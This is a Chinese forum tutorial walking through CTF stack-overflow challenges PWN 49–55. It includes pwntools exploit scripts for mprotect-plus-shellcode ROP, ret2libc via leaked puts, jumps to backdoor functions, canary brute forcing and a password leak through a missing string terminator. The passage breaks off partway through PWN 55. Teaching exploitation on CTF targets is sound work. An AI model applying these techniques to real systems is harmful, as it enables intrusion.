吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 225|回复: 3
上一主题 下一主题
收起左侧

[CTF] 万字长文带你一点点学会PWN之栈溢出-第二篇

  [复制链接]
跳转到指定楼层
楼主
taoyangui 发表于 2026-3-25 19:50 回帖奖励

文章接着上文万字长文带你一点点学会PWN之栈溢出-第一篇
https://www.52pojie.cn/thread-2092344-1-1.html
(出处: 吾爱破解论坛)进行更新,依旧栈溢出,相比于上一篇里面的攻击手法有所改变

PWN 49

分析一下

check一下

下载附件先check一下

➜  pwn49 checksec pwn 
  • '/home/p0ach1l/Desktop/test/pwn49/pwn'     Arch:       i386-32-little     RELRO:      Partial RELRO     Stack:      Canary found     NX:         NX enabled     PIE:        No PIE (0x8048000)     Stripped:   No
  • 32位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack:Canary found:显示找到了栈上的金丝雀,栈溢出会变得困难。其实这里并没有开启栈保护,是有函数误报导致的NX:NX enabled:数据执行保护开启,堆和栈上的数据不能直接运行。PIE:No PIE (0x8048000):地址随机化没有开启,代码和数据的地址固定。Stripped:No:符号表没有剥离。

    IDA看看

    拖入32位IDA中进行查看,发现存在非常多的函数,猜测可能是静态编译的,使用file查看一下,果然是静态编译的,相比于动态编译,静态编译的程序通常有更多可用的 gadget,因为整个libc都被打包进去了,这反而可能让ROP更容易构造!

    静态编译因为把整个libc都打包进去,一般比动态编译的反编译出来函数多。

    先看看main函数

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      init_0();
      logo();
      ctfshow();
      return 0;
    }

    初始化之后打印logo,以及提示Use mprotect func do sth!:使用 mprotect 函数做某事。接着是ctfshow函数,跟进分析一下ctfshow函数。

    int ctfshow()
    {
      char v1[14]; // [esp+6h] [ebp-12h] BYREF
    
      return read(0, v1, 100);
    }

    定义了一个大小为14的字符数组v1,起始地址距离栈基址ebp偏移了0x12个字节,也就是18个字节,接着通过read函数向v1读入100个字节。很明显的栈溢出。接着查找是否存在后门函数,没找到有后门函数,根据提示看一下mprotect函数。

    unsigned int __cdecl mprotect(const void *a1, size_t a2, int a3)
    {
      unsigned int result; // eax
    
      result = sys_mprotect(a1, a2, a3);
      if ( result >= 0xFFFFF001 )
        return _syscall_error();
      return result;
    }

    一个mprotect 系统调用的封装函数,用于修改内存区域的保护属性。

    mprotect(const void *a1, size_t a2, int a3)

    a1:内存区域的起始地址(需要页对齐) ,a2:内存区域的大小,必须是页大小的整数倍。a3:保护标志(如 PROT_READ读取、PROT_WRITE写入、PROT_EXEC执行、PROT_NONE内存段不能访问)。也可以用数字表示。

    数字 权限 说明
    0 PROT_NONE 不可访问
    1 PROT_READ 只读
    2 PROT_WRITE 只写(通常不单独用)
    3 PROT_READ | PROT_WRITE 可读写(最常见)
    4 PROT_EXEC 可执行(通常不单独用)
    5 PROT_READ | PROT_EXEC 可读可执行
    6 PROT_WRITE | PROT_EXEC 可写可执行
    7 PROT_READ | PROT_WRITE | PROT_EXEC 可读可写可执行

    因为整个程序是静态编译的,所以程序地址是不变的,我们可以设置一段地址使其可读可写可执行,我们依旧设置一段.bss段的地址来进行构造shell。这里的.bss段起始地址是080DB320

    .bss:080DB320 ; ===========================================================================
    .bss:080DB320
    .bss:080DB320 ; Segment type: Uninitialized
    .bss:080DB320 ; Segment permissions: Read/Write
    .bss:080DB320 _bss            segment align_32 public 'BSS' use32
    .bss:080DB320                 assume cs:_bss
    .bss:080DB320                 ;org 80DB320h
    .bss:080DB320                 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
    .bss:080DB320 completed_6767  db ?                    ; DATA XREF: __do_global_dtors_aux↑r
    .bss:080DB320                                         ; __do_global_dtors_aux:loc_804883D↑w
    .bss:080DB321                 align 4

    那么我们直接用这个地址可以吗?当然不行啊,这里需要简单说一下内存页机制,内存被划分为固定大小的页(通常4KB=0x1000),每个页的起始地址必须是0x1000的倍数。这里的话需要向下对齐到最近的4KB内存页起始地址,以此来将包含bss段的那一整个内存页设置为可读可写可执行。这里使用的地址是0x80DA000。接着寻找gadget。三个参数需要三个寄存器。使用ROPgadget来寻找

    ROPgadget --binary ./pwn --only "pop|ret"|grep "pop"

    按照正确的逻辑我们要找的三个寄存器应该是ebxecxedx。但这里并没有三个连续一块的,这里可以使用的有很多,只是为了吧栈里面的参数给弹出去,至于弹哪个寄存器不用太讲究,这里ROP链构造主要在于ret

    仅仅设置还不够,还需要向其中进行写入,这里就需要用到read函数了。

    ssize_t read(int fd, void *buf, size_t count);

    fd设为0时就可以从输入端读取内容 设为0,buf设为我们想要执行的内存地址 设为我们已找到的内存地址,size适当大小就可以 只要够读入shellcode就可以,设置大点无所谓。也是三个参数。那么如何向其中进行读入呢?引入一个新的方法

    asm(shellcraft.sh())

    生成一个打开shell的机器码(shellcode)。
    完整思路:先通过使用mprotect函数将起始地址位0x80DA000的内存页设置为可读可写可执行,接着调用read函数从输入中向0x80DA000进行写入,将返回地址设置为0x80DA000,最后执行我们向0x80DA000写入的代码。

    from pwn import *
    #context(arch='i386',os='linux',log_level='debug')
    io=remote("pwn.challenge.ctf.show",28299)
    #io=process("./pwn")
    elf=ELF("./pwn")
    mprotect_adder=elf.sym['mprotect']
    read_adder=elf.sym['read']
    pop_ebx_esi_edi=0x08049bd9 #0x08049bd9 : pop ebx ; pop esi ; pop edi ; ret
    pop_ebp_esi_edi=0x0809f805 #x0809f805 : pop ebp ; pop esi ; pop edi ; ret
    pop_ebx_esi_ebp=0x080a019b #0x080a019b : pop ebx ; pop esi ; pop ebp ; ret
    pop_edi_esi_ebx=0x08061c3b #0x08061c3b : pop edi ; pop esi ; pop ebx ; ret
    pop_edx_ecx_ebx=0x0806e011 #0x0806e011 : pop edx ; pop ecx ; pop ebx ; ret
    pop_esi_ebx_edx=0x0806dfe9 #0x0806dfe9 : pop esi ; pop ebx ; pop edx ; ret
    pop_esi_edi_ebp=0x0804834a #0x0804834a : pop esi ; pop edi ; pop ebp ; ret
    pop_esi_edi_ebx=0x08069cbd #0x08069cbd : pop esi ; pop edi ; pop ebx ; ret
    mprotect_a1=0x80DA000
    mprotect_a2=0x1000
    mprotect_a3=0x7
    read_a1=0
    read_a2=0x80DA000
    read_a3=0X10000
    payload=b'a'*(0x12+4)+p32(mprotect_adder)+p32(pop_ebx_esi_ebp)+p32(mprotect_a1)+p32(mprotect_a2)+p32(mprotect_a3)+p32(read_adder)+p32(pop_ebx_esi_ebp)+p32(read_a1)+p32(read_a2)+p32(read_a3)+p32(0x80DA000)
    io.sendline(payload)
    io.sendline(asm(shellcraft.sh()))
    io.interactive()
    

    正如我们之前提到的,这几个gadget都可以使用,都能正常获取到flag

    PWN 50

    分析一下

    check一下

    下载附件check一下

    ➜  pwn50 checksec pwn 
    
  • '/home/p0ach1l/Desktop/test/pwn50/pwn'     Arch:       amd64-64-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX enabled     PIE:        No PIE (0x400000)     Stripped:   No
  • 64位小端序,RELRO:Partial RELRO:RELRO部分开启,部分重定位只读,GOT表可写,PLT只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时不需要泄露或者绕过canary值。NX:NX enabled:数据执行保护开启,栈和堆上的数据无法直接执行。PIE:No PIE (0x400000):无地址随机化,代码和数据的地址固定。Stripped:No:符号表没有剥离。

    IDA看看

    拖入64位IDA进行查看,先看看main函数

    int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
    {
      init(argc, argv, envp);
      logo();
      ctfshow();
      exit(0);
    }

    初始化之后,打印logo,以及提示信息Use mprotect func do sth,接着是ctfshow函数,跟进分析一下ctfshow函数。

    __int64 ctfshow()
    {
      char v1[32]; // [rsp+0h] [rbp-20h] BYREF
    
      puts("Hello CTFshow");
      return gets(v1);
    }

    定义了一个大小为32字节的字符数组v1,起始地址距离栈基址rbp偏移0x20个字节也就是32个字节,接着输出Hello CTFshow,然后通过gets()函数向v1写入字节,gets函数的特性是不检查输入长度,可以无限读取直到换行符。存在栈溢出。接着找一下是否存在后门函数,没有发现。这里我们可以使用之前的方法来做,通过puts函数泄露libc地址,再使用libc中的system函数来构造shell。

    payload及获取flag

    在构造ROP链接的时候还需要gadget,使用ROPgadget进行查找。

    ROPgadget --binary ./pwn |grep "pop rdi"

    得到pop rdi;ret的地址是0x4007e3,这里还需要一个ret来保证栈帧平衡

    ROPgadget --binary ./pwn --only "ret"

    这里我们可以使用之前的方法先泄露libc地址在使用libc中的system函数来构造shell

    from pwn import *
    from LibcSearcher import *
    context(arch='amd64',os='linux',log_level='debug')
    io=remote("pwn.challenge.ctf.show",28241)
    elf=ELF("./pwn")
    puts_plt_adder=elf.plt['puts']
    puts_got_adder=elf.got['puts']
    pop_rdi_adder=0x4007e3
    ret=0x4004fe
    main_adder=elf.sym['main']
    payload=b'a'*(0x20+8)+p64(pop_rdi_adder)+p64(puts_got_adder)+p64(puts_plt_adder)+p64(main_adder)
    io.sendline(payload)
    puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
    libc=LibcSearcher("puts",puts)
    libc_base=puts-libc.dump('puts')
    system_adder=libc_base+libc.dump('system')
    bin_sh_adder=libc_base+libc.dump('str_bin_sh')
    payload=b'a'*(0x20+8)+p64(pop_rdi_adder)+p64(bin_sh_adder)+p64(ret)+p64(system_adder)
    io.sendlineafter("Hello CTFshow",payload)
    io.interactive()

    那么我们还可以怎么做呢?也可以使用mprotect函数来构造shell。这里使用mprotect函数的话需要本地和远程环境的.so文件一致才能获取正确的gadget。这里就不在演示了。

    PWN 51

    分析一下

    check一下

    下载附件先check一下

    ➜  pwn51 checksec pwn 
    
  • '/home/p0ach1l/Desktop/test/pwn51/pwn'     Arch:       i386-32-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX enabled     PIE:        No PIE (0x8048000)
  • 32位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack: No canary found:栈上没有金丝雀保护,存在栈溢出时可以直接利用。NX:NX enabled:数据执行保护开启,堆和栈上的数据不能直接运行。PIE:No PIE (0x8048000):地址随机化没有开启。显然符号表已经被剥离了。

    IDA看看

    拖进32位IDA中进行查看,看左边的函数名称也可以看出来函数表被剥离了。先看main函数。

    int __cdecl main(int a1)
    {
      sub_80492E6(&a1);
      sub_8049343();
      alarm(0x1Eu);
      sub_8049059();
      return 0;
    }

    挨个函数进行跟进分析,先看sub_80492E6函数

    int sub_80492E6()
    {
      setvbuf(stdout, 0, 2, 0);
      setvbuf(stdin, 0, 2, 0);
      return setvbuf(stderr, 0, 2, 0);
    }

    初始化的函数,接着看第二个函数sub_8049343

    int sub_8049343()
    {
      puts("    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           ");
      puts(asc_804A3DC);
      puts(
        " ██▀          ██     ██        ▄▄█████▄  ██▄████▄   ▄████▄  ██      ██");
      puts(asc_804A4E4);
      puts(asc_804A574);
      puts(asc_804A5F8);
      puts(
        "    ▀▀▀▀      ▀▀     ▀▀         ▀▀▀▀▀▀   ▀▀    ▀▀    ▀▀▀▀     ▀▀  ▀▀  ");
      puts("    * *************************************                           ");
      puts(aClassifyCtfsho);
      puts("    * Type  : Stack_Overflow                                          ");
      puts("    * Site  : https://ctf.show/                                       ");
      puts("    * Hint  : Who are you?                                            ");
      return puts("    * *************************************                           ");
    }

    是之前的logo函数,提示Who are you,(你是谁),没什么有用的信息,接着看,alarm(0x1Eu);设置一个0x1E(三十)秒的定时器,接着是sub_8049059,跟进分析一下

    int sub_8049059()
    {
      int v0; // eax
      int v1; // eax
      unsigned int v2; // eax
      int v3; // eax
      const char *v4; // eax
      int v6; // [esp-Ch] [ebp-84h]
      int v7; // [esp-8h] [ebp-80h]
      char v8[12]; // [esp+0h] [ebp-78h] BYREF
      char s[32]; // [esp+Ch] [ebp-6Ch] BYREF
      char v10[24]; // [esp+2Ch] [ebp-4Ch] BYREF
      char v11[24]; // [esp+44h] [ebp-34h] BYREF
      unsigned int i; // [esp+5Ch] [ebp-1Ch]
    
      memset(s, 0, sizeof(s));
      puts("Who are you?");
      read(0, s, 0x20u);
      std::string::operator=(&unk_804D0A0, &unk_804A350);
      std::string::operator+=(&unk_804D0A0, s);
      std::string::basic_string(v10, &unk_804D0B8);
      std::string::basic_string(v11, &unk_804D0A0);
      sub_8048F06(v8);
      std::string::~string(v11, v11, v10);
      std::string::~string(v10, v6, v7);
      if ( sub_80496D6(v8) > 1u )
      {
        std::string::operator=(&unk_804D0A0, &unk_804A350);
        v0 = sub_8049700(v8, 0);
        if ( (unsigned __int8)sub_8049722(v0, &unk_804A350) )
        {
          v1 = sub_8049700(v8, 0);
          std::string::operator+=(&unk_804D0A0, v1);
        }
        for ( i = 1; ; ++i )
        {
          v2 = sub_80496D6(v8);
          if ( v2 <= i )
            break;
          std::string::operator+=(&unk_804D0A0, "IronMan");
          v3 = sub_8049700(v8, i);
          std::string::operator+=(&unk_804D0A0, v3);
        }
      }
      v4 = (const char *)std::string::c_str(&unk_804D0A0);
      strcpy(s, v4);
      printf("Wow!you are:%s", s);
      return sub_8049616(v8);
    }

    跟我们之前遇到的不太一样,这次是C++写的,定义了几个变量,重点看一下s,大小为32个字节,起始地址距离栈基址ebp偏移0x6C个字节也就是108个字节,在往sread的时候大小没有问题,但是程序在下面将字符I替换成了IronMan,最后在strcpy的时候就会触发溢出。所以我们想要触发溢出的话需要将填充字符替换为I,这里替换后的IronMan为7个字节,s距离栈基址ebp偏移了108个字节。加上要覆盖保存的ebp的4个字节。也就是112个字节,也就是16个7,也就是需要16个I
    在字符串表中发现cat /ctfshow_flag,跟进一下,找到后门函数

    int sub_804902E()
    {
      return system("cat /ctfshow_flag");
    }

    因为没有开启PIE,地址是固定的,直接用就好。

    payload及获取flag

    from pwn import *
    context(arch='i386',os='linux',log_level='debug')
    io=remote("pwn.challenge.ctf.show",28218)
    flag_adder=0x804902E
    payload=b'I'*16+p32(flag_adder)
    io.sendline(payload)
    io.interactive()

    PWN 52

    分析一下

    check一下

    下载附件先check一下

    ➜  pwn52 checksec pwn 
    
  • '/home/p0ach1l/Desktop/test/pwn52/pwn'     Arch:       i386-32-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX enabled     PIE:        No PIE (0x8048000)     Stripped:   No
  • 32位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No Canary found:栈上没有金丝雀保护,存在栈溢出时可以直接使用。NX:NX enabled:数据执行保护开启,堆和栈上的数据不能直接运行。PIE:No PIE (0x8048000):地址随机化没有开启。Stripped:No:符号表没有剥离。

    IDA看看

    拖入32位IDA进行查看,先看看main函数

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      setvbuf(stdout, 0, 2, 0);
      logo(&argc);
      puts("What do you want?");
      ctfshow();
      return 0;
    }

    初始化之后打印logo,以及提示信息You should meet its conditions!:你应该满足它的条件!接着使用puts函数输出What do you want?。接着是ctfshow函数,接着跟进分析ctfshow函数

    int ctfshow()
    {
      char s[104]; // [esp+Ch] [ebp-6Ch] BYREF
    
      gets(s);
      return puts(s);
    }

    定义了一个大小位104字节的字符数组s,起始地址距离栈基址ebp偏移了0x6C个字节也就是108个字节,接着使用gets函数向s进行写入,接着使用puts函数输出sgets函数不会检验大小,一直读取到换行符或者结束才会停止。很明显栈溢出。接着看一下有没有后门函数,发现名为flag的函数

    char *__cdecl flag(int a1, int a2)
    {
      char *result; // eax
      char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
      FILE *stream; // [esp+4Ch] [ebp-Ch]
    
      stream = fopen("/ctfshow_flag", "r");
      if ( !stream )
      {
        puts("/ctfshow_flag: No such file or directory.");
        exit(0);
      }
      result = fgets(s, 64, stream);
      if ( a1 == 876 && a2 == 877 )
        return (char *)printf(s);
      return result;
    }

    函数接受两个参数a1a2,定义了一个大小为64字节的字符数组s,起始地址距离栈基址ebp偏移了0x4C个字节也就是76个字节,定义了一个文件指针stream,使用fopen()函数打开文件,返回文件指针为stream,检查stream是否为空,如果是空的话则输出ctfshow_flag: No such file or directory.,并结束程序,接着使用fgets函数从stream中读取64个字节写入到s。接着进行判断如果a1=876,a2=877则输出s,也就是flag。

    payload及获取flag

    因为没有开启PIE,可以直接使用flag的地址,也可以使用脚本来获取,也没有开启栈溢出保护,直接触发栈溢出到flag函数,并传入两个参数分别对应a1a2

    from pwn import *
    #context(arch='i386',os='linux',log_level='debug')
    io=remote("pwn.challenge.ctf.show",28267)
    elf=ELF("./pwn")
    flag=elf.sym['flag']
    payload=b'a'*(0x6C+4)+p32(flag)+p32(0)+p32(876)+p32(877)
    io.sendline(payload)
    io.interactive()

    这里有puts函数,也可以使用之前的方法使用libc中的system函数来进行构造

    from pwn import *
    from LibcSearcher import *
    #context(arch='i386',os='linux',log_level='debug')
    io=remote("pwn.challenge.ctf.show",28267)
    elf=ELF("./pwn")
    puts_plt_adder=elf.plt['puts']
    puts_got_adder=elf.got['puts']
    main=elf.sym['main']
    payload=b'a'*(0x6C+4)+p32(puts_plt_adder)+p32(main)+p32(puts_got_adder)
    io.sendline(payload)
    puts=u32(io.recvuntil(b'\xf7')[-4:])
    libc=LibcSearcher("puts",puts)
    libc_base=puts-libc.dump("puts")
    system_adder=libc_base+libc.dump("system")
    bin_sh_adder=libc_base+libc.dump("str_bin_sh")
    payload=b'a'*(0x6C+4)+p32(system_adder)+p32(0)+p32(bin_sh_adder)
    io.sendline(payload)
    io.interactive()

    成功获取flag

    PWN 53

    分析一下

    check一下

    下载附件先check一下

    ➜  pwn53 checksec pwn 
    
  • '/home/p0ach1l/Desktop/test/pwn53/pwn'     Arch:       i386-32-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX enabled     PIE:        No PIE (0x8048000)     Stripped:   No
  • 32位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No Canary found:栈上没有金丝雀保护,存在栈溢出时可以直接使用。NX:NX enabled:数据执行保护开启,堆和栈上的数据不能直接运行。PIE:No PIE (0x8048000):地址随机化没有开启。Stripped:No:符号表没有剥离。

    IDA看看

    拖进32位IDA中进行查看,先看看main函数

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      setvbuf(stdout, 0, 2, 0);
      logo(&argc);
      canary();
      ctfshow();
      return 0;
    }

    初始化完成之后打印logo,并输出提示Do you know how Canary works?:你知道canary是如何工作的吗?,接着是canary函数和ctfshow函数,先跟进分析一下canary函数

    int canary()
    {
      FILE *stream; // [esp+Ch] [ebp-Ch]
    
      stream = fopen("/canary.txt", "r");
      if ( !stream )
      {
        puts("/canary.txt: No such file or directory.");
        exit(0);
      }
      fread(&global_canary, 1u, 4u, stream);
      return fclose(stream);
    }

    定义了一个文件指针stream,接着以只读模式打开根目录下的 canary.txt 文件,并返回文件操作句柄(指针)。如果stream指针为空的话则表明/canary.txt不存在输出canary.txt: No such file or directory并结束整个程序,接着从文件指针stram中每次读取一个字节总共读取四个字节并存入到全局变量global_canary中。接着关闭文件流并返回结果。接着看ctfshow函数

    int ctfshow()
    {
      size_t nbytes; // [esp+4h] [ebp-54h] BYREF
      char v2[32]; // [esp+8h] [ebp-50h] BYREF
      char buf[32]; // [esp+28h] [ebp-30h] BYREF
      int s1; // [esp+48h] [ebp-10h] BYREF
      int v5; // [esp+4Ch] [ebp-Ch]
    
      v5 = 0;
      s1 = global_canary;
      printf("How many bytes do you want to write to the buffer?\n>");
      while ( v5 <= 31 )
      {
        read(0, &v2[v5], 1u);
        if ( v2[v5] == 10 )
          break;
        ++v5;
      }
      __isoc99_sscanf(v2, "%d", &nbytes);
      printf("$ ");
      read(0, buf, nbytes);
      if ( memcmp(&s1, &global_canary, 4u) )
      {
        puts("Error *** Stack Smashing Detected *** : Canary Value Incorrect!");
        exit(-1);
      }
      puts("Where is the flag?");
      return fflush(stdout);
    }

    定义了几个变量,(nbytes 是 size_t 类型(无符号整数),没有检查用户输入是否为负数或过大)设定v5的值为0,设置s1global_canary,接着输出How many bytes do you want to write to the buffer?,接着每次向v2写入一个字符,循环最多32次,遇到换行符则跳出循环,接着将v2转换为整数存入到nbytes,接着输出$,然后从标准输入读取nbytes字节到 buf,使用%d格式说明符将字符串解析为一个有符号整数,接着比对局部变量 s1(canary 副本)与全局变量 global_canary 是否一致,如果不一致标明程序已经发生栈溢出则输出*Error Stack Smashing Detected : Canary Value Incorrect接着打印Where is the flag*并返回。
    这段代码的功能是从标准输入读取用户输入的字节数,并将相应字节数的数据读取到缓冲区buf中。然后,它会检查堆栈的完整性,如果堆栈被破坏,则输出错误信息并终止程序。我们可以看出程序是模拟了一个保护,但是由于文件名不变,其内容大概率也是不会变化的。加上题目提示猜测可以进行爆破。
    还有一个flag函数

    int flag()
    {
      char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
      FILE *stream; // [esp+4Ch] [ebp-Ch]
    
      stream = fopen("/ctfshow_flag", "r");
      if ( !stream )
      {
        puts("/ctfshow_flag: No such file or directory.");
        exit(0);
      }
      fgets(s, 64, stream);
      puts(s);
      return fflush(stdout);
    }

    很简单的逻辑,定义了一个大小为64字节的数组s,起始地址距离栈基址ebp偏移了0x4C个字节也就是76个字节,接着以只读模式打开根目录下的 /ctfshow_flag 文件,并返回文件操作句柄(指针),如果stream为空则表示不存在/ctfshow_flag文件,则输出ctfshow_flag: No such file or directory,并退出程序。接着将stream中的内容读取64个字节存入到s中,接着输出s,接着退出并刷新标准输出缓冲区。

    payload及获取flag

    from pwn import *
    
    context.log_level = 'critical'
    canary = b'' 
    for i in range(4):
        for c in range(0xFF + 1): 
            io = remote('pwn.challenge.ctf.show', 28243) 
            io.sendlineafter('>', '-1')  
            payload = b'a' * 0x20 + canary + p8(c)  
            io.sendafter('$ ', payload)  
            io.recv(1)  
            ans = io.recv()  
            if b'Canary Value Incorrect!' not in ans:
                print(f'The index({i}), value(0x{c:02x})') 
                canary += p8(c)  
                io.close()  
                break  
            else:
                io.close() 
    
    print(f'canary = 0x{canary.hex()}')  
    io = remote('pwn.challenge.ctf.show', 28243)
    elf = ELF('./pwn')
    flag = elf.sym['flag']  
    payload = b'a' * 0x20 + canary + p32(0) * 4 + p32(flag)
    
    io.sendlineafter('>', '-1')
    io.sendafter('$ ', payload)
    io.interactive()  

    先爆破canary的值,其中p8(c)会将我们测试的c转换为1个字节,
    if b'Canary Value Incorrect!' not in ans:如果响应中没有Canary Value Incorrect则表明当前爆破的是对的。将p8(c)存储到canary中接着爆破下一位。
    爆破完成后即可成功获取到flag

    PWN 54

    分析一下

    check一下

    下载附件先进行一下check

    ➜  pwn54 checksec pwn 
    
  • '/home/p0ach1l/Desktop/test/pwn54/pwn'     Arch:       i386-32-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX enabled     PIE:        No PIE (0x8048000)     Stripped:   No
  • 32位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No Canary found:栈上没有金丝雀保护,存在栈溢出时可以直接使用。NX:NX enabled:数据执行保护开启,堆和栈上的数据不能直接运行。PIE:No PIE (0x8048000):地址随机化没有开启。Stripped:No:符号表没有剥离。

    IDA看看

    拖入32位IDA中进行查看,先看main函数

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char s1[64]; // [esp+0h] [ebp-1A0h] BYREF
      char v5[256]; // [esp+40h] [ebp-160h] BYREF
      char s[64]; // [esp+140h] [ebp-60h] BYREF
      FILE *stream; // [esp+180h] [ebp-20h]
      char *v8; // [esp+184h] [ebp-1Ch]
      int *p_argc; // [esp+194h] [ebp-Ch]
    
      p_argc = &argc;
      setvbuf(stdout, 0, 2, 0);
      memset(s, 0, sizeof(s));
      memset(v5, 0, sizeof(v5));
      memset(s1, 0, sizeof(s1));
      puts("==========CTFshow-LOGIN==========");
      puts("Input your Username:");
      fgets(v5, 256, stdin);
      v8 = strchr(v5, 10);
      if ( v8 )
        *v8 = 0;
      strcat(v5, ",\nInput your Password.");
      stream = fopen("/password.txt", "r");
      if ( !stream )
      {
        puts("/password.txt: No such file or directory.");
        exit(0);
      }
      fgets(s, 64, stream);
      printf("Welcome ");
      puts(v5);
      fgets(s1, 64, stdin);
      v5[0] = 0;
      if ( !strcmp(s1, s) )
      {
        puts("Welcome! Here's what you want:");
        flag();
      }
      else
      {
        puts("You has been banned!");
      }
      return 0;
    }

    进行初始化之后设置变量,设置了字符变量s1(64个字节)、v5(256个字节)、s(64个字节),以及文件指针stream,字符指针v8,和整形指针p_argc,将argc的地址赋值给p_argc指针,接着将s1v5s置为0。接着使用puts函数打印CTFshow-LOGINInput your Username:,接着使用fgets函数从输入读取最多256个字节到v5,在v5中查找ASCLL码为10(也就是\n)的字符,strchr返回指向第一个匹配字符的指针,如果没找到则返回NULL,接着将结果赋值给v8,如果v8不为空,也就是找到了换行符\n,那么将换行符替换为ASCLL码0也就是字符串终止符\0,这个时候v5也就变成了干净的用户名字符串,接着将字符串,\nInput your Password.追加到v5后面,此时v5的内容为用户名,\nInput your Password,接着以只读的形式打开根目录下的文件password.txt并将返回的FILE指针赋给之前声明的stream指针,文件打开失败的话stream为空,并输出password.txt: No such file or directory退出程序,接着使用fgets函数从stream中读取最多64个字符写入到s中,输出Welcomev5,也就是输出Welcome,用户名,\nInput your Password。接着使用fgets函数从输入中读取64个字节保存到s1中,接着将v5数组中的第一个字符设置为0(空终止符),相当于清空了v5字符串,接着比对s1s,也就是我们输入的密码s1和从文件中读取的正确密码sstrcmp 返回 0 表示两个字符串相等。if ( !strcmp(s1, s) )如果密码相等的话则条件为真,接着使用puts函数输出Welcome! Here's what you want:,然后执行flag函数,如果密码不同则条件为假,接着使用puts函数输出You has been banned!:你已被封禁!
    跟进分析一下flag函数

    int flag()
    {
      char s[48]; // [esp+Ch] [ebp-3Ch] BYREF
      FILE *stream; // [esp+3Ch] [ebp-Ch]
    
      stream = fopen("/ctfshow_flag", "r");
      if ( !stream )
      {
        puts("/ctfshow_flag: No such file or directory.");
        exit(0);
      }
      fgets(s, 48, stream);
      printf("%s", s);
      return 0;
    }

    很明显的输出flag。
    总体来说就说让我们输入用户名和密码,比对和服务器中的密码是否一致,一致的话就输出flag,不一致就输出You has been banned!

    payload及获取flag

    思路很简单,获取密码即可,如何获取密码呢?
    存储用户输入用户名的v5和存储密码的s仅仅相隔了0x100个字节

      char v5[256]; // [esp+40h] [ebp-160h] BYREF
      char s[64]; // [esp+140h] [ebp-60h] BYREF

    0x100个字节刚好是256个字节,我们输入0x100的字节时刚好符合读入的数据256个字节,这个时候换行符并不会保存到v5中也就没有了终止符,在puts(v5);时就会将s也输出出来,也就是输出密码。当然也不一定必须要输入0x100个字节,在代码中还会在v5后添加,\nInput your Password.其中\n为一个字节,一共22个字节,也就是我们输入234个字节之上就会输出保存服务器中密码的数组s。之后再输入密码就可以拿到flag了。不使用脚本也可以。

    from pwn import *
    io = remote("pwn.challenge.ctf.show", 28230)
    io.sendline(b'a' * 234)
    io.recvuntil(b'Input your Password.')
    password = io.recv(64)  
    io.sendline(password)
    io.interactive()

    运行成功接收到flag

    PWN 55

    分析一下

    check一下

    下载附件先check一下

    ➜  pwn55 checksec pwn 
    
  • '/home/p0ach1l/Desktop/test/pwn55/pwn'     Arch:       i386-32-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX enabled     PIE:        No PIE (0x8048000)     Stripped:   No
  • 32位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No Canary found:栈上没有金丝雀保护,存在栈溢出时可以直接使用。NX:NX enabled:数据执行保护开启,堆和栈上的数据不能直接运行。PIE:No PIE (0x8048000):地址随机化没有开启。Stripped:No:符号表没有剥离。

    IDA看看

    拖入32位IDA中进行查看,先看看main函数

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      setvbuf(stdout, 0, 2, 0);
      logo(&argc);
      puts("How to find flag?");
      ctfshow();
      return 0;
    }

    初始化之后打印logo,并给出提示信息Try to find the relationship between flags:找出flag之间的关系,接着使用puts函数输出How to find flag:如何寻找flag。接着调用ctfshow函数,跟进分析一下ctfshow函数

    char *ctfshow()
    {
      char s[40]; // [esp+Ch] [ebp-2Ch] BYREF
    
      printf("Input your flag: ");
      return gets(s);
    }

    定义了一个大小为40字节的字符数组s,起始地址距离栈基址ebp偏移了0x2C个字节,也就是44个字节,接着使用puts函数输出Input your flag:,接着使用gets函数向s中开始进行写入,gets函数不会验证大小,明显的栈溢出。接着看看有没有后门函数,发现有多个flag开头的函数,跟进一下先看flag函数

    int __cdecl flag(int a1)
    {
      char s[48]; // [esp+Ch] [ebp-3Ch] BYREF
      FILE *stream; // [esp+3Ch] [ebp-Ch]
    
      stream = fopen("/ctfshow_flag", "r");
      if ( !stream )
      {
        puts("/ctfshow_flag: No such file or directory.");
        exit(0);
      }
      fgets(s, 48, stream);
      if ( flag1 && flag2 && a1 == -1111638595 )
        return printf("%s", s);
      if ( flag1 && flag2 )
        return puts("Incorrect Argument.");
      if ( flag1 || flag2 )
        return puts("Nice Try!");
      return puts("Flag is not here!");
    }

    引入a1来接受输入,定义了一个大小为48字节的字符数组s和一个文件指针stream,以只读的形式打开/ctfshow_flag文件并将返回的FILE指针赋给之前声明的stream变量。如果指针为空则说明/ctfshow_flag文件不存在,则输出ctfshow_flag: No such file or directory并退出程序。使用fgets函数从stream中读取最多48个字符写入到s中。然后是三个判断,判断1为:如果flag1flag2a1=-1111638595则输出s也就是flag。判断2为:如果flag1flag2为真则输出Incorrect Argument.判断3为:flag1flag2两个条件中满足一个则输出Nice Try!.接着输出Flag is not here!
